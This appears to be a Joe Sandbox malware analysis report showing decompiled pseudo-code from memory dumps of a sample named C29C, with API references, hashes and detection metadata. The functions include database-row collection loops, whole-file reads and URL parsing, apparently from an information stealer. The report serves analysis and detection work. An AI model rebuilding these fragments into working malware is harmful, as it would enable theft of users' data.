			E00409590(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				char _v276;
				intOrPtr _v280;
				char _v284;
				char _v288;
				intOrPtr _v292;
				CHAR* _t27;
				void* _t30;
				void* _t32;
				void* _t38;
				intOrPtr _t44;
				intOrPtr _t58;
				void* _t64;
				void* _t66;
				void* _t67;
				void* _t70;

				E0040B720( &_v276, 0x104);
				_t27 =  *0x41a07c; // 0x788238
				wsprintfA( &_v276, _t27, _a12, _a8);
				_t58 =  *0x41a294; // 0x786ec8
				_v280 = _t58;
				_t30 =  *0x41a830(_a4,  &_v8);
				_t66 = _t64 + 0x18;
				if(_t30 == 0) {
					_t32 =  *0x41a7e8(_v8, _v280, 0xffffffff,  &_v284, 0);
					_t67 = _t66 + 0x14;
					if(_t32 != 0) {
						L6:
						 *0x41a808(_v284);
						return  *0x41a834(_v8);
					}
					_v288 = RtlAllocateHeap(GetProcessHeap(), 0, 0xf423f);
					while(1) {
						_t38 =  *0x41a804(_v284);
						_t70 = _t67 + 4;
						if(_t38 != 0x64) {
							break;
						}
						_t44 =  *0x41a820(_v284, 0);
						_t67 = _t70 + 8;
						_v292 = _t44;
						 *0x41aa24(_v288, _v292);
						 *0x41aa24(_v288, "\n");
					}
					E004137E0(_a16,  &_v276, _v288,  *0x41a908(_v288));
					_t67 = _t70 + 0x10;
					E0040B720( &_v288, 4);
					goto L6;
				}
				return _t30;
			}

0x004095a5
0x004095b2
0x004095bf
0x004095c8
0x004095ce
0x004095dc
0x004095e2
0x004095e7
0x00409603
0x00409609
0x0040960e
0x004096b9
0x004096c0
0x00000000
0x004096d3
0x00409628
0x0040962e
0x00409635
0x0040963b
0x00409641
0x00000000
0x00000000
0x0040964c
0x00409652
0x00409655
0x00409669
0x0040967b
0x0040967b
0x004096a3
0x004096a8
0x004096b4
0x00000000
0x004096b4
0x004096d9

APIs

wsprintfA.USER32 ref: 004095BF
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 0040961B
RtlAllocateHeap.NTDLL(00000000), ref: 00409622
lstrcat.KERNEL32(?,?), ref: 00409669
lstrcat.KERNEL32(?,00418BC4), ref: 0040967B
lstrlen.KERNEL32(?), ref: 0040968A

Memory Dump Source

Source File: 00000014.00000002.410432362.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.410480018.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_C29C.jbxd

Similarity

API ID: Heaplstrcat$AllocateProcesslstrlenwsprintf
String ID:
API String ID: 2177231248-0
Opcode ID: 118ae59d0f25a22a12b371e08b370f69fa651aeb9a5a1d3569fc809063f8c249
Instruction ID: 0f4305f0ea4e8f12541be8dfce34b0e085d7d14125619b5af487afca8afb3160
Opcode Fuzzy Hash: 118ae59d0f25a22a12b371e08b370f69fa651aeb9a5a1d3569fc809063f8c249
Instruction Fuzzy Hash: 263186B1900108ABCB14DFA4DD46FDA73B8AF4C704F0085A9F70997281D635DEA1CFAA

Uniqueness

Uniqueness Score: -1.00%

Function 005797E0, Relevance: 9.1, APIs: 6, Instructions: 94memorystringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0057980F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 0057986B
RtlAllocateHeap.NTDLL(00000000), ref: 00579872
lstrcat.KERNEL32(?,?), ref: 005798B9
lstrcat.KERNEL32(?,00418BC4), ref: 005798CB
lstrlen.KERNEL32(?), ref: 005798DA

Memory Dump Source

Source File: 00000014.00000002.410579929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_570000_C29C.jbxd

Similarity

API ID: Heaplstrcat$AllocateProcesslstrlenwsprintf
String ID:
API String ID: 2177231248-0
Opcode ID: 3279a0d31ac6cb8fdc7aad023880eae878c5ba0ec85adfaa004ecd867f618224
Instruction ID: a233212397f5d1398f88026fc1dcf0b64002723ea2a0f61dcc585026c7d0f00e
Opcode Fuzzy Hash: 3279a0d31ac6cb8fdc7aad023880eae878c5ba0ec85adfaa004ecd867f618224
Instruction Fuzzy Hash: 573161B190010CABDB14EBA8ED46FDA77B8BF4C700F0085A8F71997151D635DAA1CFA6

Uniqueness

Uniqueness Score: -1.00%

Function 00408510, Relevance: 9.1, APIs: 6, Instructions: 92
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 25%

			E00408510(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a24) {
				char _v8;
				char _v276;
				char _v280;
				char _v284;
				intOrPtr _v288;
				CHAR* _t25;
				void* _t28;
				void* _t30;
				void* _t36;
				intOrPtr _t42;
				intOrPtr _t56;
				void* _t61;
				void* _t63;
				void* _t64;
				void* _t67;

				E0040B720( &_v276, 0x104);
				_t25 =  *0x41a07c; // 0x788238
				wsprintfA( &_v276, _t25, _a12, _a8);
				_t28 =  *0x41a830(_a4,  &_v8);
				_t63 = _t61 + 0x18;
				if(_t28 == 0) {
					_t56 =  *0x41a430; // 0x7883d8
					_t30 =  *0x41a7e8(_v8, _t56, 0xffffffff,  &_v280, 0);
					_t64 = _t63 + 0x14;
					if(_t30 != 0) {
						L6:
						 *0x41a808(_v280);
						return  *0x41a834(_v8);
					}
					_v284 = RtlAllocateHeap(GetProcessHeap(), 0, 0xf423f);
					while(1) {
						_t36 =  *0x41a804(_v280);
						_t67 = _t64 + 4;
						if(_t36 != 0x64) {
							break;
						}
						_t42 =  *0x41a820(_v280, 0);
						_t64 = _t67 + 8;
						_v288 = _t42;
						 *0x41aa24(_v284, _v288);
						 *0x41aa24(_v284, "\n");
					}
					E004137E0(_a24,  &_v276, _v284,  *0x41a908(_v284));
					_t64 = _t67 + 0x10;
					E0040B720( &_v284, 4);
					goto L6;
				}
				return _t28;
			}

0x00408525
0x00408532
0x0040853f
0x00408550
0x00408556
0x0040855b
0x0040856c
0x00408577
0x0040857d
0x00408582
0x0040862d
0x00408634
0x00000000
0x00408647
0x0040859c
0x004085a2
0x004085a9
0x004085af
0x004085b5
0x00000000
0x00000000
0x004085c0
0x004085c6
0x004085c9
0x004085dd
0x004085ef
0x004085ef
0x00408617
0x0040861c
0x00408628
0x00000000
0x00408628
0x0040864d

APIs

wsprintfA.USER32 ref: 0040853F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 0040858F
RtlAllocateHeap.NTDLL(00000000), ref: 00408596
lstrcat.KERNEL32(?,?), ref: 004085DD
lstrcat.KERNEL32(?,00418BC4), ref: 004085EF
lstrlen.KERNEL32(?), ref: 004085FE

Memory Dump Source

Source File: 00000014.00000002.410432362.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.410480018.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_C29C.jbxd

Similarity

API ID: Heaplstrcat$AllocateProcesslstrlenwsprintf
String ID:
API String ID: 2177231248-0
Opcode ID: d86f877f6af101afd853e83cc45e0c7f259d9c1cd7a3b3c2d6ea3d455249c9be
Instruction ID: 16a89e7602ce9a9af0cb90aa00b31cd04fc627f3dd9fe4cd639e4c9769f6db21
Opcode Fuzzy Hash: d86f877f6af101afd853e83cc45e0c7f259d9c1cd7a3b3c2d6ea3d455249c9be
Instruction Fuzzy Hash: 0F3198B1900108ABCB14EFA4DD46EDA7378AF48705F0085A8F719D7191DA35DAA1CFAA

Uniqueness

Uniqueness Score: -1.00%

Function 00578760, Relevance: 9.1, APIs: 6, Instructions: 92memorystringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0057878F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 005787DF
RtlAllocateHeap.NTDLL(00000000), ref: 005787E6
lstrcat.KERNEL32(?,?), ref: 0057882D
lstrcat.KERNEL32(?,00418BC4), ref: 0057883F
lstrlen.KERNEL32(?), ref: 0057884E

Memory Dump Source

Source File: 00000014.00000002.410579929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_570000_C29C.jbxd

Similarity

API ID: Heaplstrcat$AllocateProcesslstrlenwsprintf
String ID:
API String ID: 2177231248-0
Opcode ID: a067fa9aa66848bc42d69728368930e1c48be6e022443f56fa634f8f40c33e55
Instruction ID: 4f88ffad3063ed494b8a4be1d56381d3463764d2aade0caa66df8a50c3ed8a61
Opcode Fuzzy Hash: a067fa9aa66848bc42d69728368930e1c48be6e022443f56fa634f8f40c33e55
Instruction Fuzzy Hash: E83147B190010CABCB14EBA4DD4AFEA7778BF48701F0085A4F719D7151DA35DA61CFA6

Uniqueness

Uniqueness Score: -1.00%

Function 00407380, Relevance: 9.1, APIs: 6, Instructions: 77
filememoryCOMMON

Download Yara Rule

C-Code - Quality: 66%

			E00407380(CHAR* _a4, void** _a8, long* _a12) {
				struct _OVERLAPPED* _v8;
				long _v12;
				void* _v16;
				intOrPtr _v24;
				long _v28;
				long _v32;

				_v8 = 0;
				_v16 = 0;
				_v16 = CreateFileA(_a4, 0x80000000, 1, 0, 3, 0, 0);
				if(_v16 == 0 || _v16 == 0xffffffff) {
					L12:
					return _v8;
				} else {
					_push( &_v28);
					_push(_v16);
					if( *0x41a868() != 0 && _v24 == 0) {
						 *_a12 = _v28;
						 *_a8 = LocalAlloc(0x40,  *_a12);
						if( *_a8 != 0) {
							if(ReadFile(_v16,  *_a8,  *_a12,  &_v12, 0) == 0 ||  *_a12 != _v12) {
								_v32 = 0;
							} else {
								_v32 = 1;
							}
							_v8 = _v32;
							if(_v8 == 0) {
								LocalFree( *_a8);
							}
						}
					}
					CloseHandle(_v16);
					goto L12;
				}
			}

0x00407386
0x0040738d
0x004073ad
0x004073b4
0x0040745b
0x00407461
0x004073c4
0x004073c7
0x004073cb
0x004073d4
0x004073e2
0x004073f5
0x004073fd
0x0040741d
0x00407432
0x00407429
0x00407429
0x00407429
0x0040743c
0x00407443
0x0040744b
0x0040744b
0x00407443
0x004073fd
0x00407455
0x00000000
0x00407455

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,?,004076B0,00000000,?), ref: 004073A7
GetFileSizeEx.KERNEL32(000000FF,004076B0,?,004076B0,00000000,?), ref: 004073CC
LocalAlloc.KERNEL32(00000040,?,?,004076B0), ref: 004073EC
ReadFile.KERNEL32(000000FF,?,000000FF,?,00000000,?,004076B0), ref: 00407415
LocalFree.KERNEL32(?), ref: 0040744B
CloseHandle.KERNEL32(000000FF,?,004076B0,00000000,?), ref: 00407455

Memory Dump Source

Source File: 00000014.00000002.410432362.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.410480018.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_C29C.jbxd

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: 4e0f13bd6030b2d39f57ca96a85e1861cdcda2e923e2d8cd49f8341b4bf1824a
Instruction ID: af94470c476782e88e9ea84d45e590fd848c7c035798b2791f751b67d2b5900f
Opcode Fuzzy Hash: 4e0f13bd6030b2d39f57ca96a85e1861cdcda2e923e2d8cd49f8341b4bf1824a
Instruction Fuzzy Hash: 1A31DBB4A04209EFDB14DF94C888BAEBBB5FF48310F108169E915AB3D0C778AA55CF55

Uniqueness

Uniqueness Score: -1.00%

Function 005775D0, Relevance: 9.1, APIs: 6, Instructions: 77filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,?,00577900,00000000,?), ref: 005775F7
GetFileSizeEx.KERNEL32(000000FF,00577900,?,00577900,00000000,?), ref: 0057761C
LocalAlloc.KERNEL32(00000040,?,?,00577900), ref: 0057763C
ReadFile.KERNEL32(000000FF,?,000000FF,?,00000000,?,00577900), ref: 00577665
LocalFree.KERNEL32(?), ref: 0057769B
CloseHandle.KERNEL32(000000FF,?,00577900,00000000,?), ref: 005776A5

Memory Dump Source

Source File: 00000014.00000002.410579929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_570000_C29C.jbxd

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: 4e0f13bd6030b2d39f57ca96a85e1861cdcda2e923e2d8cd49f8341b4bf1824a
Instruction ID: fa61079fe17ebd5a69a6f0bdd638e3a5fe82eaf561fdc67a9f7f09b55e35e37f
Opcode Fuzzy Hash: 4e0f13bd6030b2d39f57ca96a85e1861cdcda2e923e2d8cd49f8341b4bf1824a
Instruction Fuzzy Hash: 8E3130B4A04608EFDB14CF94E884BAE7BB5FF48300F10C558E9189B294C774AA51DF54

Uniqueness

Uniqueness Score: -1.00%

Function 0040BEB0, Relevance: 9.1, APIs: 3, Strings: 3, Instructions: 53
stringCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E0040BEB0(char _a4, char* _a8, intOrPtr _a12) {
				char* _v8;
				char* _v12;
				intOrPtr _v16;
				char _v17;
				intOrPtr _v24;

				_t2 =  &_a4; // 0x7865e8
				_v8 = StrStrA( *_t2, _a8);
				if(_v8 != 0) {
					_t7 =  &_a4; // 0x7865e8
					_t8 =  &_a4; // 0x7865e8
					 *0x41a994(0x41ac88,  *_t8, _v8 -  *_t7);
					_t10 =  &_a4; // 0x7865e8
					 *((char*)(_v8 -  *_t10 + 0x41ac88)) = 0;
					_v12 = _a8;
					_t14 =  &_v12; // 0x7865e8
					_v16 =  *_t14 + 1;
					do {
						_t16 =  &_v12; // 0x7865e8
						_v17 =  *((intOrPtr*)( *_t16));
						_v12 =  &(_v12[1]);
					} while (_v17 != 0);
					_v24 = _v12 - _v16;
					wsprintfA(_v8 - _a4 + 0x41ac88, "%s%s", _a12, _v8 + _v24);
					return 0x41ac88;
				}
				_t5 =  &_a4; // 0x7865e8
				return  *_t5;
			}

0x0040beba
0x0040bec4
0x0040becb
0x0040bed5
0x0040bed9
0x0040bee2
0x0040beeb
0x0040beee
0x0040bef8
0x0040befb
0x0040bf01
0x0040bf04
0x0040bf04
0x0040bf09
0x0040bf0c
0x0040bf10
0x0040bf1c
0x0040bf3b
0x00000000
0x0040bf44
0x0040becd
0x00000000

APIs

StrStrA.SHLWAPI(ex,?,?,004061B1,?,007865E8,00000000), ref: 0040BEBE
lstrcpyn.KERNEL32(0041AC88,ex,ex,?,004061B1,?,007865E8), ref: 0040BEE2
wsprintfA.USER32 ref: 0040BF3B

Strings

ex, xrefs: 0040BEBA, 0040BED5, 0040BED9, 0040BEEB, 0040BECD, 0040BEBD, 0040BED8, 0040BEDC
ex, xrefs: 0040BEFB, 0040BF04
%s%s, xrefs: 0040BF2A

Memory Dump Source

Source File: 00000014.00000002.410432362.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.410480018.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_C29C.jbxd

Similarity

API ID: lstrcpynwsprintf
String ID: %s%s$ex$ex
API String ID: 1799455324-249522514
Opcode ID: 968c324a661e519957af98edf49b8511bb81e06ad5647acdf799b48dea5bf767
Instruction ID: 9d0df258c1970b53338195e9cfc72265299fee085df88f93dfbf2dd1b14f7860
Opcode Fuzzy Hash: 968c324a661e519957af98edf49b8511bb81e06ad5647acdf799b48dea5bf767
Instruction Fuzzy Hash: 3A21F975901108FFDF05DFACC984AEEBBB4EF48344F108199E909A7341D735AA90CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 00582340, Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 131COMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(?,00000000,00000000,00000001,?,?,?,?,?,?,00582D2E,?,?), ref: 005823B8
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00582D2E), ref: 0058240A

Strings

.-X, xrefs: 0058246E, 005824C3, 00582471

Memory Dump Source

Source File: 00000014.00000002.410579929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_570000_C29C.jbxd

Similarity

API ID: FilePointer
String ID: .-X
API String ID: 973152223-2282238417
Opcode ID: bd9446f4783b8dd7e6d95fa0f5fa15532bd816b395c3834064200ff55a53ee91
Instruction ID: 4183ca7cfdd6e54d6e667d2113f479854c7c158fb81c03aed468a278db4e0041
Opcode Fuzzy Hash: bd9446f4783b8dd7e6d95fa0f5fa15532bd816b395c3834064200ff55a53ee91
Instruction Fuzzy Hash: 9451D574A002099FDB04DFA8C894BEEBBF5BB4C304F14C659E825AB391D735A845CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 00582000, Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

new[].LIBCMTD ref: 00582060
memcpy.NTDLL(00000000,?,000000FF,?,00582AED,?,000000FF,?,00004000), ref: 0058208C
memcpy.NTDLL(?,00004000,000000FF,?,00582AED,?,000000FF,?,00004000), ref: 0058211D

Strings

*X, xrefs: 0058206E

Memory Dump Source

Source File: 00000014.00000002.410579929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_570000_C29C.jbxd

Similarity

API ID: memcpy$new[]
String ID: *X
API String ID: 3541104900-4008345970
Opcode ID: 3f6ea1475b6a799feff947736ee965e7d5baee5b117e73dbe9ef4aba49eea13c
Instruction ID: 9857d81608e25f30703826e0af872eb837037057dd526882fef6d347f967ef1b
Opcode Fuzzy Hash: 3f6ea1475b6a799feff947736ee965e7d5baee5b117e73dbe9ef4aba49eea13c
Instruction Fuzzy Hash: AC51AAB4A00209DFCB44DF98D585EAEBFB6BF88314F608559EA05AB345C731E981CF94

Uniqueness

Uniqueness Score: -1.00%

Function 00435C97, Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 104COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 00435EC5
__aulldiv.LIBCMT ref: 00435EE7

Strings

', xrefs: 00435C97
9, xrefs: 00435EF8
0, xrefs: 00435CB3

Memory Dump Source

Source File: 00000014.00000002.410499533.000000000042E000.00000020.00020000.sdmp, Offset: 0042E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_42e000_C29C.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: '$0$9
API String ID: 3839614884-269856862
Opcode ID: 6f2de3667855a1732d2b83b5020b044b1ddeceeaf4e51dcc5021ca9846e72658
Instruction ID: d0fee3a5a4f4d7cecfb28585c6b203644e9ef38ab9230d8b0d2435f50b5aa70a
Opcode Fuzzy Hash: 6f2de3667855a1732d2b83b5020b044b1ddeceeaf4e51dcc5021ca9846e72658
Instruction Fuzzy Hash: 6741F4B1D05628DFDB24CF58C88ABAEB7B5BB48304F2495DAE419A7240C7389E81CF44

Uniqueness

Uniqueness Score: -1.00%

Function 0040ACE0, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 33
memorytimeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040ACE0() {
				struct _SYSTEMTIME _v20;
				void* _v24;

				_v24 = RtlAllocateHeap(GetProcessHeap(), 0, 0x104);
				GetLocalTime( &_v20);
				wsprintfA(_v24, "%d/%d/%d %d:%d:%d", _v20.wDay & 0x0000ffff, _v20.wMonth & 0x0000ffff, _v20.wYear & 0x0000ffff, _v20.wHour & 0x0000ffff, _v20.wMinute & 0x0000ffff, _v20.wSecond & 0x0000ffff);
				return _v24;
			}

0x0040acfa
0x0040ad01
0x0040ad2e
0x0040ad3d

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,?,004057BA,?,?,?,?,00000104,?,00001388), ref: 0040ACED
RtlAllocateHeap.NTDLL(00000000), ref: 0040ACF4
GetLocalTime.KERNEL32(?,?,?,?,?,?,004057BA,?,?,?,?,00000104,?,00001388), ref: 0040AD01
wsprintfA.USER32 ref: 0040AD2E

Strings

%d/%d/%d %d:%d:%d, xrefs: 0040AD25

Memory Dump Source

Source File: 00000014.00000002.410432362.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.410480018.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_C29C.jbxd

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID: %d/%d/%d %d:%d:%d
API String ID: 377395780-1073349071
Opcode ID: 8e285d3c0eb36019000bcc5d6a07b144cb12c9e005f16ceaedbebfc32425e432
Instruction ID: d54db4264a189618d18ac0c6d63712439e5e5702a0e8137862d75125f6334758
Opcode Fuzzy Hash: 8e285d3c0eb36019000bcc5d6a07b144cb12c9e005f16ceaedbebfc32425e432
Instruction Fuzzy Hash: 2FF06DB5800118BBCB10DBE99D489FFB3B8BF0CB02F00415AFA41A1180E6388A90D776

Uniqueness

Uniqueness Score: -1.00%

Function 00404970, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 33
stringnetworkCOMMON

Download Yara Rule

C-Code - Quality: 54%

			E00404970(void* __ecx, void* __eflags, char* _a4) {
				intOrPtr _v56;
				char* _v60;
				char _v64;
				char _v132;

				E0040B720( &_v132, 0x40);
				E0040B720( &_v64, 0x3c);
				_v64 = 0x3c;
				_v60 =  &_v132;
				_v56 = 0x40;
				_push( &_v64);
				if(InternetCrackUrlA(_a4,  *0x41a908(), _a4, 0x10000000) == 0) {
					return 0x418b7c;
				}
				return _v60;
			}

0x0040497f
0x0040498a
0x0040498f
0x00404999
0x0040499c
0x004049a6
0x004049c3
0x00000000
0x004049cc
0x00000000

APIs

lstrlen.KERNEL32(?,10000000,0000003C,?,0000003C,?,00000040), ref: 004049B0
InternetCrackUrlA.WININET(?,00000000), ref: 004049BB

Strings

@, xrefs: 0040499C
http, xrefs: 004049CC
<, xrefs: 0040498F

Memory Dump Source

Source File: 00000014.00000002.410432362.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.410480018.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_C29C.jbxd

Similarity

API ID: CrackInternetlstrlen
String ID: <$@$http
API String ID: 1274457161-26727890
Opcode ID: 953279faeda4fbfed10a865a9ed3943784a545a7601c943f1e9572a566367c12
Instruction ID: e6804194f0461931acba1e2b3008128b19c1605eb91d96f529587f083f9a09b0
Opcode Fuzzy Hash: 953279faeda4fbfed10a865a9ed3943784a545a7601c943f1e9572a566367c12
Instruction Fuzzy Hash: 84F012F590020CABDB04DFA5E885FEE7B7CEB44344F008529FA04AB190DB78A5448B99

Uniqueness

Uniqueness Score: -1.00%

Function 0057AF30, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 33memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00575A0A), ref: 0057AF3D
RtlAllocateHeap.NTDLL(00000000), ref: 0057AF44
GetLocalTime.KERNEL32(?,?,?,?,?,00575A0A), ref: 0057AF51
wsprintfA.USER32 ref: 0057AF7E

Strings

ZW, xrefs: 0057AF57, 0057AF5B

Memory Dump Source

Source File: 00000014.00000002.410579929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_570000_C29C.jbxd

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID: ZW
API String ID: 377395780-1200434509
Opcode ID: 8e285d3c0eb36019000bcc5d6a07b144cb12c9e005f16ceaedbebfc32425e432
Instruction ID: d54db4264a189618d18ac0c6d63712439e5e5702a0e8137862d75125f6334758
Opcode Fuzzy Hash: 8e285d3c0eb36019000bcc5d6a07b144cb12c9e005f16ceaedbebfc32425e432
Instruction Fuzzy Hash: 2FF06DB5800118BBCB10DBE99D489FFB3B8BF0CB02F00415AFA41A1180E6388A90D776

Uniqueness

Uniqueness Score: -1.00%

Function 00574BC0, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 33stringnetworkCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,10000000,0000003C,?,0000003C,?,00000040), ref: 00574C00
InternetCrackUrlA.WININET(?,00000000), ref: 00574C0B

Strings

@, xrefs: 00574BEC
http, xrefs: 00574C1C
<, xrefs: 00574BDF

Memory Dump Source

Source File: 00000014.00000002.410579929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_570000_C29C.jbxd

Similarity

API ID: CrackInternetlstrlen
String ID: <$@$http
API String ID: 1274457161-26727890
Opcode ID: 6422e5e96578678ae9ecef98c78aa7527ca494f69da9eb8f7ec7ae06e64f97c9
Instruction ID: 09ef28d960b29088cc90b949f7354a7fd407754de77771040dc5c1012f4425df
Opcode Fuzzy Hash: 6422e5e96578678ae9ecef98c78aa7527ca494f69da9eb8f7ec7ae06e64f97c9
Instruction Fuzzy Hash: EBF0B2B591120CABDB14EFE4EC85FDD7BBCBB44340F00C518FA18AB150DB74A9449B95

Uniqueness

Uniqueness Score: -1.00%

Function 00411B30, Relevance: 7.7, APIs: 5, Instructions: 156
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00411B30(intOrPtr __ecx, signed int _a4, long _a8, intOrPtr _a12) {
				long _v8;
				void* _v12;
				signed int _v16;
				long _v20;
				intOrPtr _v24;
				intOrPtr _t90;
				intOrPtr _t112;
				intOrPtr _t136;
				intOrPtr _t141;

				_v24 = __ecx;
				if( *(_v24 + 4) != 0 ||  *(_v24 + 0xc) != 0 ||  *((intOrPtr*)(_v24 + 0x20)) != 0 ||  *((intOrPtr*)(_v24 + 0x18)) != 0 ||  *((intOrPtr*)(_v24 + 0x14)) != 0 || ( *(_v24 + 0x2c) & 0x000000ff) != 0) {
					return 0x1000000;
				} else {
					__eflags = _a12 - 1;
					if(_a12 != 1) {
						__eflags = _a12 - 2;
						if(__eflags != 0) {
							__eflags = _a12 - 3;
							if(_a12 != 3) {
								return 0x10000;
							}
							_v20 = _a8;
							__eflags = _v20;
							if(_v20 != 0) {
								__eflags = _a4;
								if(_a4 == 0) {
									 *(_v24 + 0xc) = CreateFileMappingW(0xffffffff, 0, 4, 0, _v20, 0);
									_t90 = _v24;
									__eflags =  *(_t90 + 0xc);
									if( *(_t90 + 0xc) != 0) {
										 *((intOrPtr*)(_v24 + 0x20)) = MapViewOfFile( *(_v24 + 0xc), 0xf001f, 0, 0, _v20);
										_t136 = _v24;
										__eflags =  *(_t136 + 0x20);
										if( *(_t136 + 0x20) != 0) {
											L25:
											 *((char*)(_v24 + 0x1c)) = 1;
											 *(_v24 + 0x24) = 0;
											 *(_v24 + 0x28) = _v20;
											return 0;
										}
										CloseHandle( *(_v24 + 0xc));
										 *(_v24 + 0xc) = 0;
										return 0x300;
									}
									return 0x300;
								}
								 *((intOrPtr*)(_v24 + 0x20)) = _a4;
								goto L25;
							}
							return 0x30000;
						}
						_v16 = _a4;
						 *(_v24 + 4) = CreateFileW(E0040B5C0(__eflags, _v16), 0x40000000, 0, 0, 2, 0x80, 0);
						_t141 = _v24;
						__eflags =  *((intOrPtr*)(_t141 + 4)) - 0xffffffff;
						if( *((intOrPtr*)(_t141 + 4)) != 0xffffffff) {
							 *((char*)(_v24 + 0x1c)) = 1;
							 *(_v24 + 0x10) = 0;
							 *((char*)(_v24 + 8)) = 1;
							return 0;
						}
						 *(_v24 + 4) = 0;
						return 0x200;
					}
					_v12 = _a4;
					 *(_v24 + 4) = _v12;
					 *((char*)(_v24 + 8)) = 0;
					_v8 = SetFilePointer( *(_v24 + 4), 0, 0, 1);
					__eflags = _v8 - 0xffffffff;
					 *((char*)(_v24 + 0x1c)) = 0 | _v8 != 0xffffffff;
					_t112 = _v24;
					__eflags =  *(_t112 + 0x1c) & 0x000000ff;
					if(( *(_t112 + 0x1c) & 0x000000ff) == 0) {
						 *(_v24 + 0x10) = 0;
					} else {
						 *(_v24 + 0x10) = _v8;
					}
					return 0;
				}
			}

0x00411b36
0x00411b40
0x00000000
0x00411b7b
0x00411b7b
0x00411b7f
0x00411be8
0x00411bec
0x00411c60
0x00411c64
0x00000000
0x00411d22
0x00411c6d
0x00411c70
0x00411c74
0x00411c80
0x00411c84
0x00411ca8
0x00411cab
0x00411cae
0x00411cb2
0x00411cd8
0x00411cdb
0x00411cde
0x00411ce2
0x00411d02
0x00411d05
0x00411d0c
0x00411d19
0x00000000
0x00411d1c
0x00411ceb
0x00411cf4
0x00000000
0x00411cfb
0x00000000
0x00411cb4
0x00411c8c
0x00000000
0x00411c8c
0x00000000
0x00411c76
0x00411bf1
0x00411c1c
0x00411c1f
0x00411c22
0x00411c26
0x00411c3f
0x00411c46
0x00411c50
0x00000000
0x00411c54
0x00411c2b
0x00000000
0x00411c32
0x00411b84
0x00411b8d
0x00411b93
0x00411baa
0x00411baf
0x00411bb9
0x00411bbc
0x00411bc3
0x00411bc5
0x00411bd5
0x00411bc7
0x00411bcd
0x00411bcd
0x00000000
0x00411bdc

APIs

SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 00411BA4

Memory Dump Source

Source File: 00000014.00000002.410432362.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

